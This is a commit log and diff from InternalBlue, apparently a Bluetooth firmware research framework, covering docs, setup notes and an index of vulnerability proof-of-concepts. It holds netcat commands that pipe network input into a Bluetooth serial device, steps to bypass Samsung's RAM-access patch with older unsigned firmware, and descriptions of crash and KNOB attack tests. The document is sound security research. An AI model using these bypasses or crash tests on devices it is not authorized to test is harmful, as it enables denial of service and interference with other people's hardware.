61 Commits

Author SHA1 Message Date
r0bre e07f0465a2 reimplemented flat for faster memdumps 2021-04-26 20:45:25 +02:00
r0bre 8bda5c7078 updated doc that now we use jtool2 instead of jtool 2020-12-18 16:54:00 +01:00
r0bre 90e56d893e updated installation script to use jtool2 instead of the old jtool 2020-12-18 16:34:12 +01:00
r0bre 0c52236b23 added error when all transport creations failed 2020-10-09 15:43:42 +02:00
r0bre 5633aeaa9e reduced logging outputs 2020-10-09 15:30:58 +02:00
r0bre 34ed4294fd Fix for dev_id decoding error on different platforms 2020-10-09 14:56:10 +02:00
Jiska Classen 68f4a7ef0a Tested iOS PCIe support and added Fiti/Moana Patchram 2020-10-06 14:53:39 +02:00
Jiska Classen 3a235cd458 Merge pull request #33 from robre/ios-pcie
Ios pcie
2020-10-06 14:49:35 +02:00
r0bre ae3ade37a0 Doctors Hate this trick! 2020-10-02 19:38:42 +02:00
r0bre d3b950b65d updated .deb package 2020-09-21 04:14:10 +02:00
r0bre f8fa847f88 Multiplexing using H4 should be working now. The deamon now works on iphone 11 with pcie. (works with internalblue-cli) 2020-09-21 03:49:33 +02:00
r0bre 283f7cf674 MVP for internalblued on ios with PCIe. Currently only HCI supported. Note that for the deb installation to succeed, ldid and jtool need to be installed on the phone. 2020-09-03 23:41:28 +02:00
Jiska Classen 74a87519c6 Merge pull request #31 from robre/patch-1
Added some build instructions
2020-09-03 16:10:30 +02:00
robre 8b7d2c8e17 updated the make command
to build the package, you need to run `make package` instead of just `make`
2020-09-03 16:05:33 +02:00
robre 6503b7702d Added some build instructions
When you build from a clean Theos install, you will be missing the necessary headers for the build to succeed. I added the instruction to install the correct headers, as this took me over an hour to figure out..
2020-09-03 15:58:45 +02:00
Jiska Classen 871aa1a39c Spectra bypass for iOS 13.6 on iPhone 8 2020-08-05 02:13:54 +02:00
Jiska Classen 740449f8c6 Merge pull request #30 from swidnikk/master
Update macos.md
2020-07-20 18:22:08 +02:00
Daniel Swid 2284077504 Update macos.md
Updated path to xcode project
2020-07-20 08:57:24 -07:00
Jiska Classen dceb7e3cce string parsing for iOSCore fixed 2020-07-19 15:23:52 +02:00
Jiska Classen 20f8a88e75 samsung galaxy s8 .hcd w/o spectra patch but with rng patch 2020-07-18 02:41:08 +02:00
Jiska Classen 00ff78326e added bcm4364b3 support and updated macos readme 2020-07-04 01:20:01 +02:00
Jiska Classen 8ca478eaed bcm4364 firmware 2020-07-01 12:15:26 +02:00
Jiska Classen e8da21828f Memory Pool Statistics 2020-05-29 22:05:04 +02:00
Davide Toldo 0afa31b995 Fix table 2020-05-22 20:53:39 +02:00
Jiska Classen c15584f83c restructured magicpairing docs 2020-05-18 11:42:28 +02:00
Dennis Heinze 557b9059af Add MagicPairing PoCs 2020-05-18 11:12:37 +02:00
Jiska Classen 3b41996943 Merge branch 'master' of https://dev.seemoo.tu-darmstadt.de/bcm/internalblue 2020-05-06 13:32:34 +02:00
Jiska Classen 3908bac517 minor bugfixes and notes when working with a 2015 mbp and iphone 8 2020-05-06 13:32:01 +02:00
Davide Toldo 184288ead2 Update macos.md 2020-05-05 00:35:41 +02:00
Davide Toldo 1bf1de11a7 Improve macOS setup instructions 2020-05-05 00:32:17 +02:00
Jiska Classen f8b0ad6725 the samsung galaxy s8 is missing a hrng 2020-04-30 23:40:07 +02:00
Jiska Classen 2d3ff6226d Added CVE-2020-6616 measurement scripts (except vuln device) 2020-04-27 22:14:41 +02:00
Jiska Classen 6503279b00 added MacBook 2019 chip BCM4364B0 2020-04-16 15:34:31 +02:00
Jiska Classen 96912a5ee2 Merge branch 'master' of https://github.com/seemoo-lab/internalblue 2020-04-16 00:46:57 +02:00
Jiska Classen cc84f9effe Merge branch 'master' of https://dev.seemoo.tu-darmstadt.de/bcm/internalblue 2020-04-16 00:46:40 +02:00
Jiska Classen be09a97d79 CLI 'adv' enables enhanced adv report that includes the channel 2020-04-16 00:44:57 +02:00
Jiska Classen efc2343bea New issue templates 2020-04-15 19:18:22 +02:00
Davide Toldo 308829e0ea Fix macOS framework path 2020-04-15 12:11:40 +02:00
Jiska Classen 797455701b more fixes in the readmes 2020-04-14 20:20:21 +02:00
Jiska Classen f459c6fdae fixed broken links 2020-04-14 18:48:49 +02:00
Jiska Classen 79acb79d34 rewrote and restructured the documentation 2020-04-14 17:23:28 +02:00
Jiska Classen 03a11dc6bf Merge pull request #24 from mikeryan/legacy_shell_fix
use more universal tail arguments and nc command name
2020-04-13 15:59:28 +02:00
Mike Ryan 14c8becfef use more universal tail arguments and nc command name
Some older versions of busybox do not install nc as netcat and do not
support the tail -number syntax. This patch uses the more universal nc
command name and tail -n number syntax.

See #23
2020-04-12 14:04:35 -07:00
Jiska Classen 946f1b1274 Merge pull request #22 from seemoo-lab/improve_install_instructions
Extend install instructions for different use cases
2020-04-12 20:47:10 +02:00
Jiska Classen 160206ab53 two minor core fixes 2020-04-12 20:36:51 +02:00
Florian Magin 59ae0bcb3a Extend install instructions for different use cases 2020-04-06 08:04:17 +02:00
Jiska Classen 1abc8c7ef3 nah that's why hex conversion broke in auto_int... 2020-04-05 13:25:14 +02:00
Jiska Classen 6f5526b8c1 minor bugfixes in cli and iphone 7 2020-04-04 17:55:35 +02:00
Jiska Classen 03befeb427 iMac 2009 High Sierra support 2020-04-02 02:57:24 +02:00
Jiska Classen 0ef1748447 CVE-2018-19860 PoC 2020-03-31 17:11:18 +02:00
Jiska Classen 16c362af29 tested all pocs in python 3 on the nexus 5, fixed the other examples according to that 2020-03-31 16:29:01 +02:00
Jiska Classen 4438eccdb3 Merge branch 'fix_examples' of https://github.com/seemoo-lab/internalblue 2020-03-31 15:38:33 +02:00
Jiska Classen fa483e7551 started documentation on how to fix launch_ram in certain devices 2020-03-31 15:36:42 +02:00
Jiska Classen 2c6911f792 firmware comments and minor bugfixes 2020-03-28 02:59:05 +01:00
Florian Magin 48461fbd17 Update nearly all examples to Python3 2020-03-25 22:47:46 +01:00
Florian Magin a3d418a262 Fix Nexus6P KNOB PoC 2020-03-25 22:26:34 +01:00
Jiska Classen a435466c01 breakpoint handling and stacktrace parsing 2020-03-25 19:33:22 +01:00
Jiska Classen 5863b11104 linux issue in ioscore, cyw20819 launch_ram note 2020-03-25 03:41:55 +01:00
Florian Magin 8e93878e08 Fix import related issues
Two problems were fixed:
__future__ imports must be the first import of a file, otherwise python
just refuses the file

The Address Type was used but not correctly imported (and not properly
defined as a NewType, just a Type Alias)
2020-03-24 12:54:45 +01:00
Florian Magin a210025dc5 Add explicit Python 3.6 requirement 2020-03-24 12:35:40 +01:00
Jiska Classen f9c38dfd49 rpi3 install 2020-03-24 01:32:53 +01:00
160 changed files with 7693 additions and 529 deletions
+33
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@@ -0,0 +1,33 @@
---
name: Bug report
about: Create a report to help us improve
title: ''
labels: ''
assignees: ''
---
**Describe the bug**
<!--
A clear and concise description of what the bug is.
-->
**Hardware and operating system**
<!--
Which Broadcom/Cypress device and operating system are you running on?
-->
**To Reproduce**
<!--
Describe which commands you entered.
-->
**Logs or screenshots**
<!--
If you have, we prefer logs in text form or Wireshark traces. If you want to point out one specific issue, you can also insert a screenshot.
-->
**Additional context**
<!--
Add any other context about the problem here.
-->
+29
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@@ -0,0 +1,29 @@
---
name: Feature request
about: Suggest an idea for this project
title: ''
labels: ''
assignees: ''
---
<!--
Disclaimer:
This is an open-source project mostly maintained by volunteers. We love adding features that help everyone when using InternalBlue and we will do our best, but we cannot guarantee any timeliness for fixes and enhancements. Moreover, as some features require reverse-engineering Broadcom and Cypress firmware, they are rather complicated or impossible to add.
-->
**Is your feature request related to a problem? Please describe.**
<!--
A clear and concise description of what the problem is.
Ex. I'm always frustrated when [...]
-->
**Describe the solution you'd like**
<!--
A clear and concise description of what you want to happen.
-->
**Additional context**
<!--
Add any other context or screenshots about the feature request here.
-->
+16
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@@ -0,0 +1,16 @@
---
name: Question
about: General questions about Bluetooth and InternalBlue
title: ''
labels: ''
assignees: ''
---
<!--
Before asking your question, please check the other closed issues.
If your question is related to the Bluetooth specification, please add
a reference to the according section in the specification.
Ask your question below.
-->
+1 -1
View File
@@ -17,7 +17,7 @@ btsnoop.log
# xcode
xcuserdata
*.xcworkspace
macos-framework/IOBluetoothExtended.framework/
macos/IOBluetoothExtended.framework/
# venv
venv
+68 -227
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@@ -1,233 +1,74 @@
InternalBlue
============
![InternalBlue](doc/images/internalblue_text.svg)
*Broadcom* chips are used in approximately a billion of devices, such as
all *iPhones*, *MacBooks*, the *Samsung Galaxy S* series, the older *Google
Nexus* series, older *Thinkpads*, *Raspberry Pis*, various IoT devices, and more.
In 2016, *Cypress* acquired the IoT division of *Broadcom*. Since
then, firmware variants slightly diverged, as *Broadcom* kept non-IoT customers like
*Apple* and *Samsung*. However, the firmware interaction
and update mechanism stayed the same. We reverse-engineered how the operating
systems patch this firmware and interact with it. Based on that we developed a
Bluetooth experimentation framework, which is able to patch the firmware.
This enables various features that otherwise would only be possible with
a full-stack software-defined radio implementation, such as injecting and
monitoring packets on the link layer.
*InternalBlue* has not only been used for our own research at the Secure Mobile
Networking Lab ([SEEMOO](https://seemoo.de)). Also, the [KNOB](https://knobattack.com/) and [BIAS](https://francozappa.github.io/about-bias/) attack prototype
were implemented using *InternalBlue* LMP messages
and the [SweynTooth](https://asset-group.github.io/disclosures/sweyntooth/) attacks also
experimented with *InternalBlue* for crafting LCP messages. Note that in contrast to tools like
[btlejack](https://github.com/virtualabs/btlejack) or
[Ubertooth](https://github.com/greatscottgadgets/ubertooth), *InternalBlue* does not
aim at performing Machine-in-the-Middle attacks. However, the device running *InternalBlue*
can send arbitrary packets and also inject these into existing connections. During
monitoring, all packets that are received by the device running *InternalBlue* are
captured, and there is no packet loss. *InternalBlue* does not have any issues with analysis of encrypted connections or
Classic Bluetooth. If you have specific feature requests for your security research,
feel free to open a ticket.
In addition to security research, *InternalBlue* also opens possibilities for
further analysis such as Bluetooth Low Energy performance statistics and improvements.
Anything that can be improved within a Bluetooth stack can be directly tested on
off-the-shelf devices.
Our recent research features [Frankenstein](https://github.com/seemoo-lab/frankenstein),
which emulates the firmware including thread switches and virtual modem input. The
emulated firmware can be attached to a *Linux* host. Thus, the approach is full-stack.
We mainly used it for fuzzing and found vulnerabilities that include host responses
to be triggered. *Frankenstein* is in a separate repository, but depends on *InternalBlue*
to take state snapshots etc. on a physical device.
Moreover, we just published [Polypyus](https://github.com/seemoo-lab/polypyus).
It enables binary-only binary diffing, independent from *IDA* and *Ghidra*. However,
it integrates into that workflow by identifying good starting points for further
analysis. We already tried it across various *Broadcom* Wi-Fi and Bluetooth firmware.
Looking for our random number generator measurements that we did within the analysis
of CVE-2020-6616? You can find them [here](doc/rng.md).
Due to Spectra 👻🌈 the write and read RAM commands are disabled after driver initialization.
Workarounds for this are described in the according *Android* and *iOS* instructions,
bypasses for other devices will follow if needed.
Table of Contents
-----------------
* [Feature overview](doc/features.md)
* [General setup and usage](doc/setup.md)
* Operating system specific setup
* [Android](doc/android.md) *6—10 (rooted)*
* [iOS](doc/ios.md) *12—13 (jailbroken)*
* [macOS](doc/macos.md) *High Sierra—Catalina*
* [Linux](doc/linux_bluez.md) with *BlueZ* (default) but __not__ WSL
* [Firmware overview](doc/firmware.md)
* [SEEMOO talks and publications](doc/publications.md)
* [Examples](doc/examples.md)
Several Broadcom/Cypress Bluetooth firmwares and their firmware
update mechanism have been reverse engineered. Based on that we developed a
Bluetooth experimentation framework which is able to patch the firmware and
therefore implement monitoring and injection tools for the lower layers of
the Bluetooth protocol stack.
Recent Changes
--------------
* We upgraded from Python 2 to Python 3. If you wrote your own scripts, this might break them. In this case, use
the [python2](https://github.com/seemoo-lab/internalblue/releases/tag/python2) release.
* We reworked the *iOS* implementation.
Publications and Background
---------------------------
* **Master Thesis** (07/2018)
*InternalBlue* was initially developed and documented in the
[Masterthesis](https://github.com/seemoo-lab/internalblue/raw/master/internalblue_thesis_dennis_mantz.pdf) by Dennis Mantz.
Afterwards the development was continued by SEEMOO. It was awarded with the [CAST Förderpreis](https://www.cysec.tu-darmstadt.de/cysec/start_news_details_136448.en.jsp).
* **MRMCD Talk** (09/2018)
The basic framework for Nexus 5 / BCM4339 was presented at the MRMCD Conference
2018 in Darmstadt. The talk was also [recorded](https://media.ccc.de/v/2018-154-internalblue-a-deep-dive-into-bluetooth-controller-firmware) and includes an overview of the framework as well as
two demo usages at the end (Following a **Secure Simple Pairing procedure in
Wireshark** and implementing a **proof of concept for CVE-2018-5383**).
* **35C3 Talk** (12/2018)
More extensions were [presented](https://media.ccc.de/v/35c3-9498-dissecting_broadcom_bluetooth) at 35C3 2018 in Leipzig. New features include
creating connections to non-discoverable devices. Moreover, we gave a **demo of
CVE-2018-19860**, which can crash Bluetooth on several Broadcom chips. This talk
was also recorded and gives a more high level overview.
* **TROOPERS Talk** (03/2019)
* **WiSec Paper** (05/2019)
Our WiSec paper [Inside Job: Diagnosing Bluetooth Lower Layers Using Off-the-Shelf Devices](https://arxiv.org/abs/1905.00634) on reversing the
Broadcom Bluetooth diagnostics protocol was accepted, demonstrated and got the replicability label.
* **MobiSys Paper** (06/2019)
Our MobiSys paper [InternalBlue - Bluetooth Binary Patching and Experimentation Framework
](https://arxiv.org/abs/1905.00631) on the complete *InternalBlue* ecosystem got accepted.
* **REcon Talk** (06/2019)
We gave a talk at REcon, [Reversing and Exploiting Broadcom Bluetooth](https://cfp.recon.cx/reconmtl2019/talk/EQTRGU/).
It provides a first intuition on how to do binary patching in C with Nexmon to change Bluetooth functionality.
* **MRMCD Talk** (09/2019)
Our talk [Playing with Bluetooth](https://media.ccc.de/v/2019-185-playing-with-bluetooth) focuses on new device support
within *InternalBlue* and the Patchram state of various devices.
* **36C3 Talk** (12/2019)
The rather generic talk [All wireless communication stacks are equally broken](https://media.ccc.de/v/36c3-10531-all_wireless_communication_stacks_are_equally_broken)
points out a couple of new research directions and new Bluetooth projects coming up.
* **EWSN Paper & Demo** (02/2020)
We did some work on improving blacklisting performance of BLE data connections. Currently in a separate *blacklisting* branch.
* **CiderSecCon Talk** (03/2020)
TROOPERS was canceled, but we did a stream of a talk that was recorded on [YouTube](https://www.youtube.com/watch?v=Nx2ZDLaJ1-0&t=4920).
Supported Features
------------------
This list is subject to change, but we give you a brief overview. You probably have a platform with a Broadcom chip that supports most features :)
On any Bluetooth chip:
* Send HCI commands
* Monitor HCI
* Establish connections
On any Broadcom Bluetooth chip:
* Read and write RAM
* Read and write assembly to RAM
* Read ROM
* Set defined breakpoints that crash on execution
* Inject arbitrary valid LMP messages (opcode and length must me standard compliant, contents and order are arbitrary)
* Use diagnostic features to monitor LMP and LCP (with new **Android** H4 driver patch, still needs to be integrated into BlueZ)
* Read AFH channel map
On selected Broadcom Bluetooth chips:
* Write to ROM via Patchram (any chip with defined firmware file >= build date 2012)
* Interpret core dumps (Nexus 5/6P, Samsung Galaxy S6, Evaluation Boards, Samsung Galaxy S10/S10e/S10+)
* Debug firmware with tracepoints (Nexus 5 and Evaluation Board CYW20735)
* Fuzz invalid LMP messages (Nexus 5 and Evaluation Board CYW20735)
* Inject LCP messages, including invalid messages (Nexus 5, Raspberry Pi 3/3+/4)
* Full object and function symbol table (Cypress Evaluation Boards only)
* Demos for Nexus 5 only:
* ECDH CVE-2018-5383 example
* NiNo example
* MAC address filter example
* KNOB attack test for various devices, including Raspberry Pi 3+/4
* BLE receptoin statistics
A comprehensive list of chips and which devices have them can be found in the [firmware](internalblue/fw/README.md) module documentation.
Requirements
------------
Android:
* Ideally recompiled `bluetooth.default.so`, but also works on any rooted smartphone, see [Android instructions](android_bluetooth_stack/README.md)
* Android device connected via ADB
* Best support is currently given for Nexus 5 / BCM4339
* Optional: Patch for Android driver to support Broadcom H4 forwarding
* Optional, if H4: Wireshark [Broadcom H4 Dissector Plugin](https://github.com/seemoo-lab/h4bcm_wireshark_dissector)
Linux:
* BlueZ, instructions see [here](linux_bluez/README.md)
* Best support for Raspberry Pi 3/3+/4 and Cypress evaluation boards
* For most commands: Privileged access
iOS:
* A jailbroken iOS device (tested on iOS 12 and 13 with iPhone 6, SE, 7, 8, X , does not work on iPhones newer than XR, these devices have a Bluetooth chip connected via PCIe)
* `usbmuxd`, which is pre installed on macOS but is available on most Linux distributions as well. Alternatively it can be obtained from [here](https://github.com/libimobiledevice/usbmuxd).
* The [``internalblued`` daemon](ios-internalblued/README.md) installed on the iOS device
* Optional, no jailbreak required: install [iOS Bluetooth Debug Profile](https://developer.apple.com/bug-reporting/profiles-and-logs/) to obtain
HCI and diagnostic messages, either via diagnostic report feature (all iOS versions) or live with PacketLogger (since iOS 13)
macOS:
* Homebrew
* Xcode 10.2.1
* Instructions see [here](macos-framework/README.md)
Setup and Installation
----------------------
The framework uses __ADB__ (Android Debug Bridge) to connect to an Android
smartphone, __BlueZ__ sockets on Linux, or the included __iOS Proxy__ on iOS.
For [Android](android_bluetooth_stack) with ADB, either connect the phone via USB or setup ADB over TCP and make sure you
enable USB debugging in the developer settings of Android.
If you have a jailbroken [iOS](ios-proxy) device, you need to install a proxy that locally connects
to the Bluetooth device and forwards HCI commands and events.
On [Linux](linux_bluez) with *BlueZ*, everything should work out of the box, but
you need to execute *InternalBlue* as root for most features.
The InternalBlue framework is written in Python 2. You can install it together
with all dependencies by using pip:
git clone https://github.com/seemoo-lab/internalblue.git
cd internalblue
pip install .
It will install the following dependencies:
* pwntools
The pwntools module needs the binutils package for ARM 32-bit to be installed
on the system. This has to be installed manually by using the packet manager
of your Linux distribution:
# for Arch Linux
sudo pacman -S arm-none-eabi-binutils
# for Ubuntu
sudo apt install binutils-arm-linux-gnueabi
All steps on a plain Ubuntu 18.04:
sudo apt install git python-setuptools binutils-arm-linux-gnueabi adb pip python-dev gcc
git clone https://github.com/seemoo-lab/internalblue
cd internalblue
sudo pip install .
cd ..
sudo apt-get install wireshark-dev wireshark cmake
git clone https://github.com/seemoo-lab/h4bcm_wireshark_dissector
cd h4bcm_wireshark_dissector
mkdir build
cd build
cmake ..
make
make install
Packets required on a current (July 2019) Raspian:
sudo apt-get --allow-releaseinfo-change update
sudo apt-get install git python-setuptools binutils-arm-none-eabi adb python-pip python-dev gcc libffi-dev
Usage
-----
The CLI (Command Line Interface) of InternalBlue can be started by running:
python -m internalblue.cli
The setup.py installation will also place a shortcut to the CLI into the $PATH
so that it can be started from a command line using:
internalblue
It should automatically connect to your Android phone through ADB or your local Linux
with BlueZ. With BlueZ, some commands can be sent by unprivileged users (i.e. version
requests) and some commands require privileged users (i.e. establishing connections).
Use the *help* command to display a list of available commands. A typical set of
actions to check if everything is working properly would be:
wireshark start
connect ff:ff:13:37:ab:cd
sendlmp 01 -d 02
Note that InternalBlue only displays 4 byte MAC addresses in some places. This is
because the leading two bytes are not required by Bluetooth communication, you
can replace them with anything you want.
Binary file not shown.
@@ -26,7 +26,7 @@ were removed from the source code. Reintroducing these features would be ABI-bre
We introduced an experimental serial forwarding. If the connection to a
patched Bluetooth stack fails on Android, *InternalBlue* tries to setup sockets
with shell scripting. The only requirement is a rooted smartphone. This hack
even works on a recent __Samsung Galaxy S10e__ with __Android Pie (9)__ (Patchlevel June 2019).
even works on a recent __Samsung Galaxy S10e/S20__ with __Android Pie (10)__ (Patchlevel March 2020).
In `adbcore.py`, we have a fallback that executes `_setupSerialSu`. This starts the
following processes:
@@ -35,13 +35,35 @@ following processes:
nc -l -p 8873 >/sdcard/internalblue_input.bin
tail -f /sdcard/internalblue_input.bin >>/dev/ttySAC1
To run netcat, you need to install the `busybox` app. Depending on your Android version,
To run `netcat`, you need to install the `busybox` app. Depending on your Android version,
the paths for `*btsnoop_hci.log` and `/dev/tty*` might differ. Execute `lsof | grep bluetooth`
to get hints on the serial device used for Bluetooth.
Note that this solution is much slower than patching *bluetooth.default.so*.
The delay per command is quite long, but overall throughput is okay, i.e., stackdumps can
be received.
be received. However, it runs out of the box, also if your *Android 6/7* setup does not
work.
Bypass: Broadcom Read_RAM Fix
-----------------------------
On the *Samsung Galaxy S10/S20*, the newest `.hcd` patches remove the commands
that allow reading, writing, and launching RAM after applying these patches.
However, this can easily be fixed by applying an older patch state.
Since the Bluetooth firmware is in ROM, the patches are only temporary breakpoints
(up to 256 on the S10e) that are applied via the `/vendor/firmware/*.hcd` files.
These files are not signed. So, to get *InternalBlue* working again, simply use some older `.hcd` files.
One set of files that still works is available in [`samsung_s10e_2019-06-04_vendor_firmware.zip`](../android/samsung_s10e_2019-06-04_vendor_firmware.zip).
You need to remount the according partition to replace the files with `mount -o remount,rw /vendor`.
As the Samsung Galaxy S10e, S10+, S10, Note 10, and S20 all have the same firmware, this should
work on all of them.
We also extracted the file `/vendor/firmware/bcm4361B0_semco.hcd` from a *Samsung Galaxy S8*, which
should be compatible with the *S8+* and *Note 8* as well. The Samsung patch level is June 2020
and includes the RNG patch for CVE-2020-6616. We customized it to no longer block the HCI commands
read RAM and write RAM to be able to debug the RNG during runtime again. This `.hcd` file
is available in [`samsung_s8_2020-06_vendor_firmware_rng-patched_rw-ram-unpatched.zip`](../android/samsung_s8_2020-06_vendor_firmware_rng-patched_rw-ram-unpatched.zip).
@@ -50,14 +72,14 @@ Prebuilt Library Status
Folder | Tag | HCI forwarding | H4 Broadcom Diagnostics | Notes
------ | --- | -------------- | ----------------------- | -----
none | Android 8+9 | yes | no | Serial and BT Snoop forwarding with `nc` (in `busybox` app), tested on rooted __Samsung Galaxy S10e__
android5_1_1 | android-5.1.1_r3 | rx only | no | Tested on Nexus 5 - HCI sniffing only!
android6_0_1 | android-6.0.1_r81 | yes | __yes__ | Recommended for __Nexus 5__ (android-6.0.1_r77), also works on Nexus 6P, seems like the version tag can differ a bit.
android7_1_2 | android-7.1.2_r28 | yes | __yes__ | Recommended for __Nexus 6P__, but it might run on Nexus 5X, Nexus Player, Pixel C.
android8_1_0 | android-8.1.0_r1 | yes | no | Tested on Nexus 6P, but it might run on Pixel 2 XL, Pixel 2, Pixel XL, Pixel, Pixel C, Nexus 5X.
lineageos14_1_hammerhead | cm-14.1 | yes | __yes__ | Recommended for __Nexus 5__
lineageos14_1_zerofltexx | cm-14.1 | yes | __yes__ | Recommended for __Samsung Galaxy S6__. Works on official Lineage OS build from January 2019, also verified on lineage-14.1-20170103-UNOFFICIAL-zerofltexx.zip
lineageos14_1_zeroltexx | cm-14.1 | yes | __yes__ | Recommended for __Samsung Galaxy S6 edge__
\- | Android 8+9+10 | yes | no | Serial and BT Snoop forwarding with `nc` (in `busybox` app), tested on rooted __Samsung Galaxy S10e__
[android5_1_1](../android/android5_1_1) | android-5.1.1_r3 | rx only | no | Tested on Nexus 5 - HCI sniffing only!
[android6_0_1](../android/6_0_1) | android-6.0.1_r81 | yes | __yes__ | Recommended for __Nexus 5__ (android-6.0.1_r77), also works on Nexus 6P, seems like the version tag can differ a bit.
[android7_1_2](../android/android/7_1_2) | android-7.1.2_r28 | yes | __yes__ | Recommended for __Nexus 6P__, but it might run on Nexus 5X, Nexus Player, Pixel C.
[android8_1_0](../android/android8_1_0) | android-8.1.0_r1 | yes | no | Tested on Nexus 6P, but it might run on Pixel 2 XL, Pixel 2, Pixel XL, Pixel, Pixel C, Nexus 5X.
[lineageos14_1_hammerhead](../android/lineageos14_1_hammerhead) | cm-14.1 | yes | __yes__ | Recommended for __Nexus 5__
[lineageos14_1_zerofltexx](../android/lineageos14_1_zerofltexx) | cm-14.1 | yes | __yes__ | Recommended for __Samsung Galaxy S6__. Works on official Lineage OS build from January 2019, also verified on lineage-14.1-20170103-UNOFFICIAL-zerofltexx.zip
[lineageos14_1_zeroltexx](../android/lineageos14_1_zeroltexx) | cm-14.1 | yes | __yes__ | Recommended for __Samsung Galaxy S6 edge__
If Broadcom H4 diagnostic support is included, the according diff is located
inside the folder. You can apply it inside the /bt folder with:
@@ -68,8 +90,8 @@ inside the folder. You can apply it inside the /bt folder with:
Installation
------------
After the build process is done, the *bluetooth.default.so* shared library can be
found in _/home/ubuntu/mnt/android/out/target/product/hammerhead/system/lib/hw/bluetooth.default.so_
After the build process is done, the `bluetooth.default.so` shared library can be
found in `/home/ubuntu/mnt/android/out/target/product/hammerhead/system/lib/hw/bluetooth.default.so`
and pushed onto the smartphone via ADB. To overwrite the existing library on
the Android system partition it must first be remounted in order to make it
writable. It is also important to verify that the new library is actually set
@@ -164,9 +186,9 @@ Flex error that can be solved as follows:
export LC_ALL=C
Due to various reasons it might happen that you successfully build a new _bluetooth.default.so_
Due to various reasons it might happen that you successfully build a new `bluetooth.default.so`
module which still does not contain Bluetooth network debugging features.
You can check if the Bluetooth network debugging features were acutally enabled as follows:
You can check if the Bluetooth network debugging features were actually enabled as follows:
grep bt_snoop_net bluetooth.default.so
grep hci_inject bluetooth.default.so
+119
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@@ -0,0 +1,119 @@
InternalBlue PoCs and Examples
==============================
MagicPairing PoCs
-----------------
The [magicpairing](../examples/magicpairing/README.md) folder contains the proof-of-concepts belonging
to our WiSec paper
[MagicPairing: Apple's Take on Securing Bluetooth Peripherals](https://arxiv.org/abs/2005.07255).
For more information on the individual bugs, please refer to our paper.
This is what the PoC looks like:
```
=> 1) [MP1]: iOS RatchetAESSIV Crash (0xa8)
2) [MP2]: iOS Hint Crash (0x1)
3) [MP3]: macOS RatchetAESSIV Crash (0x0)
4) [MP4]: macOS Hint Crash (0x0)
5) [MP5]: iOS RatchetAESSIV Crash (0x10d)
6) [MP6]: iOS RatchetAESSIV Assertion Failure Crash
7) [MP7]: macOS Ratcheting Loop DoS
8) [MP8]: MagicPairing Lockout - NOT IMPLEMENTED HERE
9) [L2CAP1]: AirPods L2CAP Crash
10) [L2CAP2]: Group Reception Handler NULL-Pointer Jump (Classic Version)
11) [L2CAP2]: Group Reception Handler NULL-Pointer Jump (BLE Version)
```
HRNG and PRNG Measurements (CVE-2020-6616)
------------------------------------------
The *Dieharder* test suite requires at least 1GB of data to decide if a RNG returned random numbers.
We provide all scripts we used to evaluate the HRNG and PRNG on various *Broadcom* and *Cypress*
chips. These can be adapted for tests on further platforms if needed.
Extracting so much from a Bluetooth chip requires a number of optimizations, which are also
interesting for other scripts. All measurements scripts contain custom HCI event callbacks, and
five of them contain a `Launch_RAM` fix (*Nexus 6P*, *iPhone 7*, *CYW20719*, *CYW20735*, *CYW20819*).
Also, these scripts document where we found some free memory chunks, which might also be helpful for
other implementations.
For some devices, we only checked if the firmware is indeed accessing a HRNG, thus, we provide less
than 20 scripts in total.
* Nexus 5: [PRNG](../examples/nexus5/randp.py), [HRNG](../examples/nexus5/rand.py)
* Nexus 6P/Samsung Galaxy S6: [PRNG](../examples/nexus6p/randp.py), [HRNG](../examples/nexus6p/rand.py)
* CYW20719 evaluation board: [PRNG](../examples/eval_cyw20719/randp.py), [HRNG](../examples/eval_cyw20719/rand.py)
* CYW20735 evaluation board: [HRNG](../examples/eval_cyw20735/rand.py) (didn't measure PRNG as HRNG was used)
* CYW20819 evaluation board: [PRNG](../examples/eval_cyw20819/randp.py), [HRNG](../examples/eval_cyw20819/rand.py)
* Raspberry Pi 3/Zero W: [PRNG](../examples/rpi3/randp.py), [HRNG](../examples/rpi3/rand.py)
* Raspberry Pi 3+/4: [PRNG](../examples/rpi3p_rpi4/randp.py), [HRNG](../examples/rpi3p_rpi4/rand.py)
* iPhone 6: [PRNG](../examples/iphone6/randp.py), [HRNG](../examples/iphone6/rand.py)
* iPhone 7: [HRNG](../examples/iphone7/rand.py) (didn't measure PRNG as HRNG was used)
* Samsung Galaxy S8: [PRNG](../examples/s8/randp.py) __(no HRNG present)__
We also have a [full list of firmware and hardware analysis results](rng.md) of the HRNG and PRNG.
KNOB Attack Test (CVE-2019-9506)
--------------------------------
We provide a modified version of the KNOB attack test, originally provided [here](https://github.com/francozappa/knob).
This script tests if the other device will accept a reduced key entropy of 1 byte instead of the optimal 16 byte.
Available for:
* [Raspberry Pi 3](../examples/rpi3/KNOB_PoC.py)
* [Raspberry Pi 3+/4](../examples/rpi3p_rpi4/KNOB_PoC.py)
* [Nexus 5](../examples/nexus5/KNOB_PoC.py)
* [Nexus 6P](../examples/nexus6p/KNOB_PoC.py)
* [CYW20735 evaluation board](../examples/eval_cyw20735/KNOB_PoC.py)
* [Samsung Galaxy S8](../examples/s8/KNOB_PoC.py)
LMP to HCI Handler Escalation Attack Test (CVE-2018-19860)
----------------------------------------------------------
This is an easy-to-use PoC for CVE-2018-19860. It sends multiple LMP messages with opcode 0 (Broadcom vendor-specific).
If the following byte, the vendor-specific opcode, is out of range of BPCS (larger than 6), vulnerable devices
interpret the memory located after the LMP BPCS handler table as further handlers. On many devices, HCI handlers
are located here, which lets an attacker call HCI via LMP, thus, resulting in limited code execution capabilities.
Invalid "handler" addresses in that memory range or invalid parameters passed to HCI handlers will cause Bluetooth
on the device under attack to crash. This PoC installs an Assembly snippet that sends multiple invalid LMP BPCS packets
before establishing connections. If an attacker connects to the device under test using the normal Android/Linux user
interface and the connection succeeds, the device is likely not vulnerable (you need to adapt the BPCS range in
some cases). If Bluetooth crashes, it is vulnerable. Currently only available for:
* [Nexus 5](../examples/nexus5/CVE_2018_19860_Crash_on_Connect.py)
* [CYW20735 evaluation board](../examples/eval_cyw20735/CVE_2018_19860_Crash_on_Connect.py)
Invalid Curve Attack Test (CVE-2018-5383)
-----------------------------------------
This is a test which tires to set the y-coordinate during ECDH key exchange to zero. If the devie under test accepts the pairing
(50% probability), it is vulnerable. This is not an MITM implementation, it only tests, if the other device would be vulnerable in practice.
* [Nexus 5](../examples/nexus5/CVE_2018_5383_Invalid_Curve_Attack_PoC.py)
LMP MAC Address Filter
----------------------
Only accept traffic from whitelisted MAC addresses and send `LMP_not_accepted` otherwise.
* [Nexus 5](../examples/nexus5/LMP_MAC_Address_Filter.py)
NiNo Attack Test
----------------
